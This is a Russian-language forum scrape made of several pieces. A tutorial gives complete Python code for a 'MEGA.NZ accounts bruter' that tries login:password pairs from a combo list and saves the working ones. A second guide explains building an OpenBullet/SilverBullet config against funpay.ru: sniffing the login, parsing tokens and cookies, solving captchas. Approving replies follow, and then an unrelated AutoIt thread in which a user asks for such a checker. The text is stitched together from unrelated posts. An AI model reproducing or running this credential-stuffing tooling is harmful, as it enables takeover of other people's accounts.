Писать мы будем чекер аккаунтов
.
Для создания чекера нам надо:
- Иметь установлений python ()
- Иметь желания и хоть какие то руки
- Текстовый редактор (Notepad ++, Visual Studio, PyCharm и прочие)
- Повторять все как в статье
Приступаем, после скачивания python. Установим нужные нам зависимости, то есть
.
Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли
.
В консоле пишем:
pip install DateTime && pip install mega.py
Ждем окончания загрузки, и закрываем cmd. Теперь создаем txt фалик и заменяем txt на py. Открываем его текстовый редактором (редактором кода), и начинаем кодить.
from mega import Mega
mega = Mega()
Импортируем библиотеку Mega, которая нам надо для самой функции брута.
Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства
import datetime
import sys
Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).
def main():
print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTERn')
print('Поместите базу для брута в директорию с этим скриптом')
q = str(input('Введите название файла (базы для брута): '))
if '.txt' in q:
dir_ = q
else:
dir_ = q + '.txt'
checker(dir_)
def — Оболочка с кодом так сказать.
— выводить текст в консольку
— запрашивает текст (дает пользователю ввести текст)
— операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.
checker(dir_) — перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь
Теперь сделаем что бы def main() работал.
Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.
Между импортами и def main() (см. скрин выше) пишем:
Мы опять создали оболочку где будет храниться и выполняться наш код чекера.
Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.
Пишем:
date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
file_name = 'output_' + date + '.txt'
Мы создали переменную date, которая выдает точное время (2021-02-22 16:49:06.035025 например.)
и что бы не было ошибки что нельзя сделать файлик с названием в котором есть «:» мы их заменяем функцией
на ‘-‘.
Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.
Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку.
Пишем:
try:
except Exception as e:
print(e)
as — логично с анг. «как».
то есть мы ловим ошибку как e и потом выводим ошибку.
Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код
with open(file_name, 'w', encoding='utf-8') as f:
f.write('MEGA.NZ ACCOUNTS:nn')
with open(dir_, 'r', encoding='utf-8') as accounts:
мы юзаем конструкцию
. Т.к. она автоматически закрывает файлик.
accounts = accounts.read()
этим кодом просматриваем содержимое нашего файлика под переменной dir_ .
Напишем проверку используя операторов If, else.
if len(accounts) >= 1:
account = accounts.split('n')
len — с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:
else:
sys.exit('Файл ' + dir_ + ' пустой!')
Используя встроенную библиотеку в python — sys. Подробней о библиотеке
Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод
который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике — 1 строка в переменной. Они записываются
.)
‘n’ это перенос строки на 1 вниз.
Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 — аккаунта, если 0 или больше 1 то аккаунтов)
if str(len(account)) == '1':
q = 'a'
else:
q = 'ов'
И выводим методом print() то сколько аккаунтов чекер будет чекать:
print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
Окончание: сам чекер
Используем
мы по очереди начинаем выполнять код который будет ниже.
Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.
try:
acc = account.split(':')
mega.login(acс[0], acc[1])
print("[+] " + account)
output = open(file_name, 'a', encoding='utf-8')
output.write(account + 'n')
output.close()
except:
print(f"[-] {account}")
Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:
разделяем строку на логин и пароль методом split который мы уже использовали выше)
Используем библиотеку mega и пробуем выполнить вход в аккаунт:
mega.login(acс[0], acc[1])
если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:
except:
print(f"[-] {account}")
Если же аккаунт валид — выводим это:
и сохраняем его в файлик под названием значения нашей переменной file_name:
output = open(file_name, 'a', encoding='utf-8')
output.write(account + 'n')
output.close()
Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:
На этом наш кодинг закончился..
Наш итоговый код:
from mega import Mega
mega = Mega()
import datetime
import sys
def checker(dir_):
date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
file_name = 'output_' + date + '.txt'
try:
with open(file_name, 'w', encoding='utf-8') as f:
f.write('MEGA.NZ ACCOUNTS:nn')
with open(dir_, 'r', encoding='utf-8') as accounts:
accounts = accounts.read()
if len(accounts) >= 1:
account = accounts.split('n')
if str(len(account)) == '1':
q = 'a'
else:
q = 'ов'
print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
for account in account:
try:
acc = account.split(':')
mega.login(acс[0], acc[1])
print("[+] " + account)
output = open(file_name, 'a', encoding='utf-8')
output.write(account + 'n')
output.close()
except:
print(f"[-] {account}")
sys.exit('Брут закончен! Результат сохранен в ' + file_name)
else:
sys.exit('Файл ' + dir_ + ' пустой!')
except Exception as e:
print(e)
def main():
print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMSn')
print('Поместите базу для брута в директорию с этим скриптом')
q = str(input('Введите название файла (базы для брута): '))
if '.txt' in q:
dir_ = q
else:
dir_ = q + '.txt'
checker(dir_)
main()
Переходим к запуску скрипта:
Отрываем cmd (командную строку);
Пишем cd путь/к/файлику.py
Потом пишем python файлик.py
Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.
Предисловие
До этого уже были темы по созданию чекеров на OB, но они по моему мнению были далеко не полные. В этой статье я подобрал сайт, который поможет мне объяснить почти все нюансы. Если до этого ничего не получалось — стоит попробовать по моей статье.
Подготовка
И так, весь софт бесплатный и лежит в открытом доступе. Чекер будем делать с помощью SiverBullet (модификации OpenBullet).
Сейчас не будем рассматривать интерфейс подробно. Если нужно — в начале статьи голосование.
Список софта:
- Openbullet
- Fidler (очень желательно) — гайд по настройке
- Любой браузер
Часть первая. Сниффаем авторизацию.
После настройки фидлера, заходим в него и начинаем снифать. Для начала пытаемся авторизоваться на сайте, для которого делаем чекер.
Видим запросы на наш сайтик, жмем на них:
Справа у нас вылезает такая штука:
Заходим в SyntaxView и наблюдаем такую картину:
Все это дело копируем и переносим в блокнот. В OpenBullet для логина и пароля используется две переменных: USER и PASS. Заменяем введеные нами логины и пароли на эти переменные. Не забываем, что для обозначения, надо заключить название переменных в такие скобочки: <>
Дальше для токена и капчи придумываем свои переменные. Я возьму <TOKEN> и <SOLUTION>. Аналогично заменяем и получаем:
Дальше нужно посмотреть, какие куки необходимо спарсить. Заходим в cookies и записываем все куки в тот же блокнот:
Часть вторая. Собираем чекер.
Заходим в SilverBullet, создаем конфиг.
Первым делом добавляем блок Request, обзываем его как хотим. Тут ничего кроме URL не изменяем. Нужно посмотреть, на какой сайт отправлялись запросы, в нашем случае: https://funpay.ru/account/login
Запускаем конфиг, ждем когда страница прогрузится. Теперь парсим TOKEN: заходим в LOG, cntrl+F, token. Копируем строку до и после переменной, вот так:
Соответственно, то что слева от строки в LEFT STRING, то что справа в RIGHT STRING, не забываем назвать нашу переменную:
Перейдем к парсингу капчи. Для этого нужна одна очень важная вещь — SiteKey. Найти его можно только тогда, когда на сайте уже вылезла капча. Так что добиваемся ее, и с помощью браузера аналогично токену ищем sitekey.
Скрин
Копируем сайт кей, создаем новый блок — Solve Captcha. Вводим сайткей и url.
Теперь парсим куки. Создаем подобный блок для каждой куки, меняем только название:
Вот и все! Остался еще один блок Request. Method — Post, Request type — standart (встречаются другие, если нужно — напишу гайд и по ним), content type — cмотрим в фидлере, в нашем случае — ничего не меняем. В PostData пишем то, что отснифали и изменили.
Как создать свой чекер (самый подробный гайд)
-
Автор темы
LasleyChao
-
Дата начала
17 Авг 2021
-
Просмотры
2K
-
Последняя активность
Последняя активность: 6 Май 2022
-
Время чтения: 1:15
-
-
Теги
-
аккаунты
гайды
чекеры
-
LasleyChao
- 4 Апр 2019
- 1,567
- 11,580
-
#1
Хелоу!
Ниже будет описан, наверное, самый подробный гайд по созданию чекера.
Чекеры нужны для проверки аккаунтов в социальных сетях. По сути чекеры создаются для проверки на валидность. Например, при уже известном логине и пароле определяется правильность этой пары относительно друг друга.
Поехали!
ИЗИ
Андрей78
- 14 Ноя 2020
- 69
- 0
-
#2
Неплохая штуковина , спасибо за подробный разбор
Shade063
- 17 Янв 2021
- 377
- 66
-
#3
Интересный инструмент
stresstesting
- 28 Апр 2022
- 253
- 14
-
#5
Реально очень полезный инструмент. Проще самому сделать чекер чем тратить кучу времени в поисках готовых решений для нужных тебе сайтов
Вы не присоединились ни к одной комнате.
Вы не присоединились ни к одной комнате.
-
#1
Помогите написать чекер аккаунтов,вроде смотрел функции но ничего похожего на то,что надо не нашёл.Может поможете?
Предполагаемый алгоритм действий:
1.Зайти на такую-то страницу,ввести логин и пасс из .txt файла.
2.Нажать Войти.
3.Перейти на другую страницу.
4.Считать данные и записать в другой .txt файл.
Буду очень благодарен за исходник с комментариями.
-
#2
Re: [Сеть, интернет] Простенький черек аккаунтво со страниц.
F4nT0m,
Вы бы читали то, что написали, прежде чем создавать тему(пост).
-
#3
Re: [Сеть, интернет] Простенький черек аккаунтво со страниц.
Поправил.
-
#4
Re: [Сеть, интернет] Простенький черек аккаунтво со страниц.
F4nT0m [?]
-
#5
Re: [Сеть, интернет] Простенький черек аккаунтво со страниц.
{TopicNameWarn}
{LangWarn}
И пожалуйста, не орите
-
#6
Я не ору…А как по вашему назвать эту тему?
-
#7
F4nT0m [?]
Тогда для чего выделяете весь текст жирным шрифтом? Мы не слепые. Мы и так прекрасно видим.
kaster
Мой Аватар, он лучший самый
-
#9
F4nT0m [?]
как по вашему назвать эту тему?
Прочитать то что написано в предупреждений (включая темы по ссылке).
-
#10
В этой(http://autoit-script.ru/index.php/topic,3551.30.html) теме мне никто не отвечает,как ответят сменю название.
Может кто-то по существу отпишется?
ПС:А шрифт такой мне просто нравится.
-
#11
Ааап,неужели никто не разбирается?
-
#12
Так и быть, объясню всё очень подробно:
1) Этот раздел не стол заказов. Никто не собирается за вас решать вашу задачу.
2) Вам нравится выделять жирным шрифтом всё сообщение. Нам не нравится читать такие сообщения. Когда я вижу что-то выделенное жирным, я считаю, что это что-то важное и обижаюсь, если это не так.
3) Никто не собирается вытягивать из вас уточнения того, что же вам надо сделать. Здесь вообще никто никому ничего не должен.
4) Мы не любим читать сообщения с тоннами орфографических ошибок. Одно дело, если русский язык не является для человека родным/он им практически не пользуется и совсем другое, когда он намеренно искажает свои слова/не хочет писать хотя-бы на уровне ученика 3-4 класса.
5) Мы любим, когда на наши сообщения реагируют адекватно.
Ну а теперь, варианты ваших действий:
1) Вы продолжаете ничего не понимать и не хотите ничего понимать. Тема закрывается, вам блокируется доступ к форуму (опционально).
2) Вы уходите с форума и пытаетесь найти помощь в другом месте.
3) Вы оформляете тему как положено и в этом случае всё будет хорошо и прекрасно:
3.1) В текущем виде тема предназначена для раздела «Стол заказов» (Поскольку вы хотите, чтобы всё сделали за вас).
3.2) Вы пытаетесь решить свою задачу самостоятельно и спрашиваете только то, что не можете реализовать самостоятельно. Шансы на получение помощи значительно возрастают.